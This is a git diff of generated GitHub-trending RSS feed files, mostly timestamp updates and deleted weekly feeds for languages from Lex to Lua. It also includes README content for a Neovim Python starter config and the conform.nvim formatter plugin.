@@ -1,7 +1,7 @@ GitHub Lex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:55Z + 2023-09-25T01:34:08Z Daily Trending of Lex in GitHub \ No newline at end of file diff --git a/lex/weekly/index.xml b/lex/weekly/index.xml deleted file mode 100644 index 99ad457ecb3..00000000000 --- a/lex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Lex Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:57Z - Weekly Trending of Lex in GitHub - - \ No newline at end of file diff --git a/lfe/daily/index.xml b/lfe/daily/index.xml index a4fbba77e8c..b7f8b1d361a 100644 --- a/lfe/daily/index.xml +++ b/lfe/daily/index.xml @@ -1,7 +1,7 @@ GitHub LFE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:02Z + 2023-09-25T01:34:12Z Daily Trending of LFE in GitHub \ No newline at end of file diff --git a/lfe/weekly/index.xml b/lfe/weekly/index.xml deleted file mode 100644 index 24679d20956..00000000000 --- a/lfe/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LFE Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:00Z - Weekly Trending of LFE in GitHub - - \ No newline at end of file diff --git a/ligolang/daily/index.xml b/ligolang/daily/index.xml index 2a958a67070..0e4be26d5ef 100644 --- a/ligolang/daily/index.xml +++ b/ligolang/daily/index.xml @@ -1,7 +1,7 @@ GitHub LigoLANG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:01Z + 2023-09-25T01:34:14Z Daily Trending of LigoLANG in GitHub \ No newline at end of file diff --git a/ligolang/weekly/index.xml b/ligolang/weekly/index.xml deleted file mode 100644 index a191ea4bca3..00000000000 --- a/ligolang/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LigoLANG Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:01Z - Weekly Trending of LigoLANG in GitHub - - \ No newline at end of file diff --git a/lilypond/daily/index.xml b/lilypond/daily/index.xml index 5480fab602c..43a7a9b021a 100644 --- a/lilypond/daily/index.xml +++ b/lilypond/daily/index.xml @@ -1,7 +1,7 @@ GitHub LilyPond Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:00Z + 2023-09-25T01:34:13Z Daily Trending of LilyPond in GitHub \ No newline at end of file diff --git a/lilypond/weekly/index.xml b/lilypond/weekly/index.xml deleted file mode 100644 index 6662bb45b61..00000000000 --- a/lilypond/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LilyPond Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:02Z - Weekly Trending of LilyPond in GitHub - - \ No newline at end of file diff --git a/limbo/daily/index.xml b/limbo/daily/index.xml index b7aa2a7df4d..6209858389d 100644 --- a/limbo/daily/index.xml +++ b/limbo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Limbo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:03Z + 2023-09-25T01:34:12Z Daily Trending of Limbo in GitHub \ No newline at end of file diff --git a/limbo/weekly/index.xml b/limbo/weekly/index.xml deleted file mode 100644 index 49a2e1257d5..00000000000 --- a/limbo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Limbo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:02Z - Weekly Trending of Limbo in GitHub - - \ No newline at end of file diff --git a/linker-script/daily/index.xml b/linker-script/daily/index.xml index 112fa63d2f8..28847bf0669 100644 --- a/linker-script/daily/index.xml +++ b/linker-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Linker Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:04Z + 2023-09-25T01:34:18Z Daily Trending of Linker Script in GitHub \ No newline at end of file diff --git a/linker-script/weekly/index.xml b/linker-script/weekly/index.xml deleted file mode 100644 index faba98f8d2f..00000000000 --- a/linker-script/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Linker Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:04Z - Weekly Trending of Linker Script in GitHub - - \ No newline at end of file diff --git a/linux-kernel-module/daily/index.xml b/linux-kernel-module/daily/index.xml index 4629d309055..651ac4734d0 100644 --- a/linux-kernel-module/daily/index.xml +++ b/linux-kernel-module/daily/index.xml @@ -1,7 +1,7 @@ GitHub Linux Kernel Module Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:04Z + 2023-09-25T01:34:16Z Daily Trending of Linux Kernel Module in GitHub \ No newline at end of file diff --git a/linux-kernel-module/weekly/index.xml b/linux-kernel-module/weekly/index.xml deleted file mode 100644 index 3f86b81a11b..00000000000 --- a/linux-kernel-module/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Linux Kernel Module Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:06Z - Weekly Trending of Linux Kernel Module in GitHub - - \ No newline at end of file diff --git a/liquid/daily/index.xml b/liquid/daily/index.xml index 8e640575c38..7e15af59942 100644 --- a/liquid/daily/index.xml +++ b/liquid/daily/index.xml @@ -1,7 +1,7 @@ GitHub Liquid Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:06Z + 2023-09-25T01:34:17Z Daily Trending of Liquid in GitHub \ No newline at end of file diff --git a/liquid/weekly/index.xml b/liquid/weekly/index.xml deleted file mode 100644 index 9c7e023b53e..00000000000 --- a/liquid/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Liquid Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:05Z - Weekly Trending of Liquid in GitHub - - \ No newline at end of file diff --git a/literate-agda/daily/index.xml b/literate-agda/daily/index.xml index 6318eee1f64..de22a25270c 100644 --- a/literate-agda/daily/index.xml +++ b/literate-agda/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate Agda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:06Z + 2023-09-25T01:34:16Z Daily Trending of Literate Agda in GitHub \ No newline at end of file diff --git a/literate-agda/weekly/index.xml b/literate-agda/weekly/index.xml deleted file mode 100644 index 4b15aec4a39..00000000000 --- a/literate-agda/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Literate Agda Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:04Z - Weekly Trending of Literate Agda in GitHub - - \ No newline at end of file diff --git a/literate-coffeescript/daily/index.xml b/literate-coffeescript/daily/index.xml index ef5f7753d5a..f6465743fed 100644 --- a/literate-coffeescript/daily/index.xml +++ b/literate-coffeescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate CoffeeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:08Z + 2023-09-25T01:34:19Z Daily Trending of Literate CoffeeScript in GitHub \ No newline at end of file diff --git a/literate-coffeescript/weekly/index.xml b/literate-coffeescript/weekly/index.xml deleted file mode 100644 index 466b4557b0a..00000000000 --- a/literate-coffeescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Literate CoffeeScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:09Z - Weekly Trending of Literate CoffeeScript in GitHub - - \ No newline at end of file diff --git a/literate-haskell/daily/index.xml b/literate-haskell/daily/index.xml index ff842b7b4ca..1e62d5efad4 100644 --- a/literate-haskell/daily/index.xml +++ b/literate-haskell/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:08Z + 2023-09-25T01:34:21Z Daily Trending of Literate Haskell in GitHub \ No newline at end of file diff --git a/literate-haskell/weekly/index.xml b/literate-haskell/weekly/index.xml deleted file mode 100644 index 521384d69b7..00000000000 --- a/literate-haskell/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Literate Haskell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:08Z - Weekly Trending of Literate Haskell in GitHub - - \ No newline at end of file diff --git a/livescript/daily/index.xml b/livescript/daily/index.xml index f184b828c56..539e49635c5 100644 --- a/livescript/daily/index.xml +++ b/livescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub LiveScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:09Z + 2023-09-25T01:34:22Z Daily Trending of LiveScript in GitHub \ No newline at end of file diff --git a/livescript/weekly/index.xml b/livescript/weekly/index.xml deleted file mode 100644 index bef94a888dd..00000000000 --- a/livescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LiveScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:07Z - Weekly Trending of LiveScript in GitHub - - \ No newline at end of file diff --git a/llvm/daily/index.xml b/llvm/daily/index.xml index 12b32d958d0..b01889653c5 100644 --- a/llvm/daily/index.xml +++ b/llvm/daily/index.xml @@ -1,7 +1,7 @@ GitHub LLVM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:10Z + 2023-09-25T01:34:21Z Daily Trending of LLVM in GitHub \ No newline at end of file diff --git a/llvm/weekly/index.xml b/llvm/weekly/index.xml deleted file mode 100644 index 112b5dccec0..00000000000 --- a/llvm/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LLVM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:10Z - Weekly Trending of LLVM in GitHub - - \ No newline at end of file diff --git a/logos/daily/index.xml b/logos/daily/index.xml index cdde54ba79c..1ae6b572ca5 100644 --- a/logos/daily/index.xml +++ b/logos/daily/index.xml @@ -1,7 +1,7 @@ GitHub Logos Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:14Z + 2023-09-25T01:34:27Z Daily Trending of Logos in GitHub \ No newline at end of file diff --git a/logos/weekly/index.xml b/logos/weekly/index.xml deleted file mode 100644 index 13a93fd812a..00000000000 --- a/logos/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Logos Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:12Z - Weekly Trending of Logos in GitHub - - - 1094401996/CareerCup - 2023-09-24T01:55:12Z - tag:github.com,2023-09-24:/1094401996/CareerCup - - <p>The first step to realize my dream</p><hr> - - \ No newline at end of file diff --git a/logtalk/daily/index.xml b/logtalk/daily/index.xml index 61f3f72cfac..8da1ff056eb 100644 --- a/logtalk/daily/index.xml +++ b/logtalk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Logtalk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:12Z + 2023-09-25T01:34:23Z Daily Trending of Logtalk in GitHub \ No newline at end of file diff --git a/logtalk/weekly/index.xml b/logtalk/weekly/index.xml deleted file mode 100644 index 007697be355..00000000000 --- a/logtalk/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Logtalk Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:13Z - Weekly Trending of Logtalk in GitHub - - \ No newline at end of file diff --git a/lolcode/daily/index.xml b/lolcode/daily/index.xml index ac6184121f9..765ce3eefc6 100644 --- a/lolcode/daily/index.xml +++ b/lolcode/daily/index.xml @@ -1,7 +1,7 @@ GitHub LOLCODE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:13Z + 2023-09-25T01:34:24Z Daily Trending of LOLCODE in GitHub \ No newline at end of file diff --git a/lolcode/weekly/index.xml b/lolcode/weekly/index.xml deleted file mode 100644 index a6b717b4389..00000000000 --- a/lolcode/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LOLCODE Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:14Z - Weekly Trending of LOLCODE in GitHub - - \ No newline at end of file diff --git a/lookml/daily/index.xml b/lookml/daily/index.xml index 42aa28de1cd..e9cc18e6ce5 100644 --- a/lookml/daily/index.xml +++ b/lookml/daily/index.xml @@ -1,7 +1,7 @@ GitHub LookML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:11Z + 2023-09-25T01:34:25Z Daily Trending of LookML in GitHub \ No newline at end of file diff --git a/lookml/weekly/index.xml b/lookml/weekly/index.xml deleted file mode 100644 index 29d74dcc954..00000000000 --- a/lookml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LookML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:11Z - Weekly Trending of LookML in GitHub - - \ No newline at end of file diff --git a/loomscript/daily/index.xml b/loomscript/daily/index.xml index 2d6d4839410..56d99b32716 100644 --- a/loomscript/daily/index.xml +++ b/loomscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub LoomScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:16Z + 2023-09-25T01:34:29Z Daily Trending of LoomScript in GitHub \ No newline at end of file diff --git a/loomscript/weekly/index.xml b/loomscript/weekly/index.xml deleted file mode 100644 index 24b22e72efb..00000000000 --- a/loomscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LoomScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:17Z - Weekly Trending of LoomScript in GitHub - - \ No newline at end of file diff --git a/lsl/daily/index.xml b/lsl/daily/index.xml index 77a8e66d3c0..61078f73d3a 100644 --- a/lsl/daily/index.xml +++ b/lsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub LSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:17Z + 2023-09-25T01:34:30Z Daily Trending of LSL in GitHub \ No newline at end of file diff --git a/lsl/weekly/index.xml b/lsl/weekly/index.xml deleted file mode 100644 index 2a2db133871..00000000000 --- a/lsl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LSL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:16Z - Weekly Trending of LSL in GitHub - - \ No newline at end of file diff --git a/ltspice-symbol/daily/index.xml b/ltspice-symbol/daily/index.xml index 1524b4574b6..547ef5d55ab 100644 --- a/ltspice-symbol/daily/index.xml +++ b/ltspice-symbol/daily/index.xml @@ -1,7 +1,7 @@ GitHub LTspice Symbol Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:16Z + 2023-09-25T01:34:28Z Daily Trending of LTspice Symbol in GitHub \ No newline at end of file diff --git a/ltspice-symbol/weekly/index.xml b/ltspice-symbol/weekly/index.xml deleted file mode 100644 index a22794f538a..00000000000 --- a/ltspice-symbol/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LTspice Symbol Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:15Z - Weekly Trending of LTspice Symbol in GitHub - - \ No newline at end of file diff --git a/lua/daily/index.xml b/lua/daily/index.xml index d4ad0cc60b8..f11450dd475 100644 --- a/lua/daily/index.xml +++ b/lua/daily/index.xml @@ -1,14 +1,7 @@ GitHub Lua Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:20Z + 2023-09-25T01:34:33Z Daily Trending of Lua in GitHub - - chrisgrieser/nvim-kickstart-python - 2023-09-24T01:35:20Z - tag:github.com,2023-09-24:/chrisgrieser/nvim-kickstart-python - - <p>A launch point for your nvim configuration for Python</p><hr><h1>nvim-kickstart-python <!-- LTeX: enabled=true --></h1> <p>A launch point for your nvim config for python.</p> <p>Similar to <a href="https://github.com/nvim-lua/kickstart.nvim">kickstart.nvim</a>, but specifically for python development.</p> <h2>Motivation</h2> <!-- vale Google.FirstPerson = NO --> <p>While there are quite a few great nvim distros and nvim starter configs out there, one thing I somewhat missed was a base config for specific languages. I recently started to learn python and was missing a minimal example what the state-of-the-art nvim setup specifically for python is.</p> <p>After figuring most of it out, I decided to publish this config for others to use. It is intended as a launch point for python devs switching to nvim, or as a reference for nvim users who want to start doing python development.</p> <!-- vale Google.FirstPerson = NO --> <h2>Philosophy &amp; Features</h2> <ul> <li>This is not a nvim-distro, this is a <em>minimal</em> nvim config specifically for python. It's intended as a starting point for creating your own config.</li> <li>~20 plugins, ~400 lines, single <code>init.lua</code></li> <li>Includes detailled comments explaining what the config does.</li> <li>The config can be fully bootstrapped: all plugins and tools are automatically installed on startup.</li> <li>Uses the current state-of-the-art of the nvim plugin ecosystem. -Includes some common tooling for python development: <ul> <li>LSP (Completion, Typing): <code>pyright</code></li> <li>Linting (Diagnostics): <code>ruff</code></li> <li>Formatting: <code>black</code> &amp; <code>isort</code></li> <li>Debugger: <code>debugpy</code></li> <li>Embedded REPL: <code>ipython</code> (if not installed, falls back to <code>python3</code>)</li> </ul> </li> <li>In addition, this config includes editing utilities specifically for python, like for example docstrings creation, selecting virtual environments, or auto-converting f-strings.</li> </ul> <h2>Recommendation</h2> <p>Go though the <a href="https://raw.githubusercontent.com/chrisgrieser/nvim-kickstart-python/main/kickstart-python.lua">kickstart-python.lua</a>, it is commented in detail.</p> <p>You can copypaste the config into you current <code>init.lua</code> to use it as a starting point for your regular config, or you can copypaste parts of it into your existing config.</p> <h2>Download</h2> <p>Download the <a href="https://raw.githubusercontent.com/chrisgrieser/nvim-kickstart-python/main/kickstart-python.lua">kickstart-python.lua</a> file and run neovim with it:</p> <pre><code class="language-bash"># download the config curl --remote-name "https://raw.githubusercontent.com/chrisgrieser/nvim-kickstart-python/main/kickstart-python.lua" # start neovim with the config, opening a file `foobar.py` # (any existing config you are using remains untouched) nvim -u kickstart-python.lua foobar.py </code></pre> <p>The config automatically installs all the plugins and tooling needed.</p> <!-- vale Google.FirstPerson = NO --> <h2>Additional plugins of interest</h2> <p>These plugins are not included in the config, but they are worth mentioning, as some people might be interested in them:</p> <ul> <li><a href="https://github.com/chrisgrieser/nvim-various-textobjs">nvim-various-textobjs</a>: Adds various indentation-based text objects.</li> <li><a href="https://github.com/GCBallesteros/NotebookNavigator.nvim">NotebookNavigator</a>: Emulate Jupyter Notebook like REPL-behavior.</li> <li><a href="https://github.com/dccsillag/magma-nvim">magma.nvim</a></li> </ul> <h2>Contributions</h2> <p>Though I am experienced with nvim, I am quite new to python. So improvements are welcome.</p> <h2>Credits</h2> <p><strong>Thanks</strong><br> <a href="https://github.com/nvim-lua/kickstart.nvim">kickstart.nvim</a> as an example how to do this.</p> <p><strong>About Me</strong><br> In my day job, I am a sociologist studying the social mechanisms underlying the digital economy. For my PhD project, I investigate the governance of the app economy and how software ecosystems manage the tension between innovation and compatibility. If you are interested in this subject, feel free to get in touch.</p> <p><strong>Blog</strong><br> I also occasionally blog about vim: <a href="https://nanotipsforvim.prose.sh">Nano Tips for Vim</a></p> <p><strong>Profiles</strong></p> <ul> <li><a href="https://www.reddit.com/user/pseudometapseudo/">reddit</a></li> <li><a href="https://discordapp.com/users/462774483044794368/">Discord</a></li> <li><a href="https://chris-grieser.de/">Academic Website</a></li> <li><a href="https://github.com/chrisgrieser/">GitHub</a></li> <li><a href="https://twitter.com/pseudo_meta">Twitter</a></li> <li><a href="https://www.researchgate.net/profile/Christopher-Grieser">ResearchGate</a></li> <li><a href="https://www.linkedin.com/in/christopher-grieser-ba693b17a/">LinkedIn</a></li> </ul> <p><strong>Buy Me a Coffee</strong><br> <br> <a href="https://ko-fi.com/Y8Y86SQ91" target="_blank"><img height="36" style="border:0px;height:36px;" src="https://cdn.ko-fi.com/cdn/kofi1.png?v=3" border="0" alt="Buy Me a Coffee at ko-fi.com"></a></p> - \ No newline at end of file diff --git a/lua/weekly/index.xml b/lua/weekly/index.xml deleted file mode 100644 index 930814bb808..00000000000 --- a/lua/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Lua Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:20Z - Weekly Trending of Lua in GitHub - - - stevearc/conform.nvim - 2023-09-24T01:55:20Z - tag:github.com,2023-09-24:/stevearc/conform.nvim - - <p>Lightweight yet powerful formatter plugin for Neovim</p><hr><h1>conform.nvim</h1> <p>Lightweight yet powerful formatter plugin for Neovim</p> <!-- TOC --> <ul> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#requirements">Requirements</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#features">Features</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#installation">Installation</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#setup">Setup</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#formatters">Formatters</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#options">Options</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#recipes">Recipes</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#api">API</a> <ul> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#formatopts-callback">format(opts, callback)</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#list_formattersbufnr">list_formatters(bufnr)</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#list_all_formatters">list_all_formatters()</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#get_formatter_infoformatter-bufnr">get_formatter_info(formatter, bufnr)</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#will_fallback_lspoptions">will_fallback_lsp(options)</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#acknowledgements">Acknowledgements</a></li> </ul> <!-- /TOC --> <h2>Requirements</h2> <ul> <li>Neovim 0.8+</li> </ul> <h2>Features</h2> <ul> <li><strong>Preserves extmarks and folds</strong> - Most formatters replace the entire buffer, which clobbers extmarks and folds, and can cause the viewport and cursor to jump unexpectedly. Conform calculates minimal diffs and applies them using the built-in LSP format utilities.</li> <li><strong>Fixes bad-behaving LSP formatters</strong> - Some LSP servers are lazy and simply replace the entire buffer, leading to the problems mentioned above. Conform hooks into the LSP handler and turns these responses into proper piecewise changes.</li> <li><strong>Enables range formatting for all formatters</strong> - Since conform calculates minimal diffs, it can perform range formatting even if the underlying formatter doesn't support it.</li> <li><strong>Simple API</strong> - Conform exposes a simple, imperative API modeled after <code>vim.lsp.buf.format()</code>.</li> </ul> <h2>Installation</h2> <p>conform.nvim supports all the usual plugin managers</p> <details> <summary>lazy.nvim</summary> <pre><code class="language-lua">{ 'stevearc/conform.nvim', opts = {}, } </code></pre> </details> <details> <summary>Packer</summary> <pre><code class="language-lua">require('packer').startup(function() use { 'stevearc/conform.nvim', config = function() require('conform').setup() end } end) </code></pre> </details> <details> <summary>Paq</summary> <pre><code class="language-lua">require "paq" { {'stevearc/conform.nvim'}; } </code></pre> </details> <details> <summary>vim-plug</summary> <pre><code class="language-vim">Plug 'stevearc/conform.nvim' </code></pre> </details> <details> <summary>dein</summary> <pre><code class="language-vim">call dein#add('stevearc/conform.nvim') </code></pre> </details> <details> <summary>Pathogen</summary> <pre><code class="language-sh">git clone --depth=1 https://github.com/stevearc/conform.nvim.git ~/.vim/bundle/ </code></pre> </details> <details> <summary>Neovim native package</summary> <pre><code class="language-sh">git clone --depth=1 https://github.com/stevearc/conform.nvim.git \ "${XDG_DATA_HOME:-$HOME/.local/share}"/nvim/site/pack/conform/start/conform.nvim </code></pre> </details> <h2>Setup</h2> <p>At a minimum, you will need to set up some formatters by filetype</p> <pre><code class="language-lua">require("conform").setup({ formatters_by_ft = { lua = { "stylua" }, -- Conform will run multiple formatters sequentially python = { "isort", "black" }, -- Use a sub-list to run only the first available formatter javascript = { { "prettierd", "prettier" } }, }, }) </code></pre> <p>Then you can use <code>conform.format()</code> just like you would <code>vim.lsp.buf.format()</code>. For example, to format on save:</p> <pre><code class="language-lua">vim.api.nvim_create_autocmd("BufWritePre", { pattern = "*", callback = function(args) require("conform").format({ bufnr = args.buf }) end, }) </code></pre> <p>As a shortcut, conform will optionally set up this format-on-save autocmd for you</p> <pre><code class="language-lua">require("conform").setup({ format_on_save = { -- These options will be passed to conform.format() timeout_ms = 500, lsp_fallback = true, }, }) </code></pre> <p>See <a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/#formatopts-callback">conform.format()</a> for more details about the parameters.</p> <p>Conform also provides a formatexpr, same as the LSP client:</p> <pre><code class="language-lua">vim.o.formatexpr = "v:lua.require'conform'.formatexpr()" </code></pre> <p>To view configured and available formatters, as well as to see the log file, run <code>:ConformInfo</code></p> <h2>Formatters</h2> <!-- FORMATTERS --> <ul> <li><a href="https://kamadorueda.com/alejandra/">alejandra</a> - The Uncompromising Nix Code Formatter.</li> <li><a href="https://github.com/PyCQA/autoflake">autoflake</a> - Removes unused imports and unused variables as reported by pyflakes.</li> <li><a href="https://github.com/hhatto/autopep8">autopep8</a> - A tool that automatically formats Python code to conform to the PEP 8 style guide.</li> <li><a href="https://github.com/lovesegfault/beautysh">beautysh</a> - A Bash beautifier for the masses.</li> <li><a href="https://github.com/FlamingTempura/bibtex-tidy">bibtex-tidy</a> - Cleaner and Formatter for BibTeX files.</li> <li><a href="https://github.com/biomejs/biome">biome</a> - A toolchain for web projects, aimed to provide functionalities to maintain them.</li> <li><a href="https://github.com/psf/black">black</a> - The uncompromising Python code formatter.</li> <li><a href="https://buf.build/docs/reference/cli/buf/format">buf</a> - A new way of working with Protocol Buffers</li> <li><a href="https://www.kernel.org/doc/html/latest/process/clang-format.html">clang_format</a> - Tool to format C/C++/… code according to a set of rules and heuristics.</li> <li><a href="https://github.com/greglook/cljstyle">cljstyle</a> - Formatter for Clojure code.</li> <li><a href="https://github.com/cheshirekow/cmake_format">cmake_format</a> - Parse cmake listfiles and format them nicely.</li> <li><a href="https://github.com/codespell-project/codespell">codespell</a> - Check code for common misspellings.</li> <li><a href="https://dart.dev/tools/dart-format">dart_format</a> - Replace the whitespace in your program with formatting that follows Dart guidelines.</li> <li><a href="https://deno.land/manual/tools/formatter">deno_fmt</a> - Use <a href="https://deno.land/">Deno</a> to format TypeScript, JavaScript/JSON and markdown.</li> <li><a href="https://github.com/dlang-community/dfmt">dfmt</a> - Formatter for D source code.</li> <li><a href="https://github.com/Riverside-Healthcare/djLint">djlint</a> - ✨ HTML Template Linter and Formatter. Django - Jinja - Nunjucks - Handlebars - GoLang.</li> <li><a href="https://github.com/dprint/dprint">dprint</a> - Pluggable and configurable code formatting platform written in Rust.</li> <li><a href="https://github.com/avh4/elm-format">elm_format</a> - elm-format formats Elm source code according to a standard set of rules based on the official <a href="https://elm-lang.org/docs/style-guide">Elm Style Guide</a>.</li> <li><a href="https://github.com/nebulab/erb-formatter">erb_format</a> - Format ERB files with speed and precision.</li> <li><a href="https://github.com/mantoni/eslint_d.js/">eslint_d</a> - Like ESLint, but faster.</li> <li><a href="https://fishshell.com/docs/current/cmds/fish_indent.html">fish_indent</a> - Indent or otherwise prettify a piece of fish code.</li> <li><a href="https://github.com/Scony/godot-gdscript-toolkit">gdformat</a> - A formatter for Godot's gdscript.</li> <li><a href="https://pkg.go.dev/cmd/gofmt">gofmt</a> - Formats go programs.</li> <li><a href="https://github.com/mvdan/gofumpt">gofumpt</a> - Enforce a stricter format than gofmt, while being backwards compatible. That is, gofumpt is happy with a subset of the formats that gofmt is happy with.</li> <li><a href="https://pkg.go.dev/golang.org/x/tools/cmd/goimports">goimports</a> - Updates your Go import lines, adding missing ones and removing unreferenced ones.</li> <li><a href="https://github.com/segmentio/golines">golines</a> - A golang formatter that fixes long lines</li> <li><a href="https://github.com/threedaymonk/htmlbeautifier">htmlbeautifier</a> - A normaliser/beautifier for HTML that also understands embedded Ruby. Ideal for tidying up Rails templates.</li> <li><a href="https://www.gnu.org/software/indent/">indent</a> - GNU Indent</li> <li><a href="https://github.com/PyCQA/isort">isort</a> - Python utility / library to sort imports alphabetically and automatically separate them into sections and by type.</li> <li><a href="https://github.com/stedolan/jq">jq</a> - Command-line JSON processor.</li> <li><a href="https://github.com/cmhughes/latexindent.pl">latexindent</a> - A perl script for formatting LaTeX files that is generally included in major TeX distributions.</li> <li><a href="https://github.com/DavidAnson/markdownlint">markdownlint</a> - A Node.js style checker and lint tool for Markdown/CommonMark files.</li> <li><a href="https://github.com/executablebooks/mdformat">mdformat</a> - An opinionated Markdown formatter.</li> <li><a href="https://github.com/serokell/nixfmt">nixfmt</a> - nixfmt is a formatter for Nix code, intended to apply a uniform style.</li> <li><a href="https://github.com/nix-community/nixpkgs-fmt">nixpkgs_fmt</a> - nixpkgs-fmt is a Nix code formatter for nixpkgs.</li> <li><a href="https://github.com/ocaml-ppx/ocamlformat">ocamlformat</a> - Auto-formatter for OCaml code.</li> <li><a href="https://github.com/perl-ide/App-perlimports">perlimports</a> - Make implicit Perl imports explicit</li> <li><a href="https://github.com/perltidy/perltidy">perltidy</a> - Perl::Tidy, a source code formatter for Perl</li> <li><a href="https://github.com/darold/pgFormatter">pg_format</a> - PostgreSQL SQL syntax beautifier.</li> <li><a href="https://github.com/prettier/prettier">prettier</a> - Prettier is an opinionated code formatter. It enforces a consistent style by parsing your code and re-printing it with its own rules that take the maximum line length into account, wrapping code when 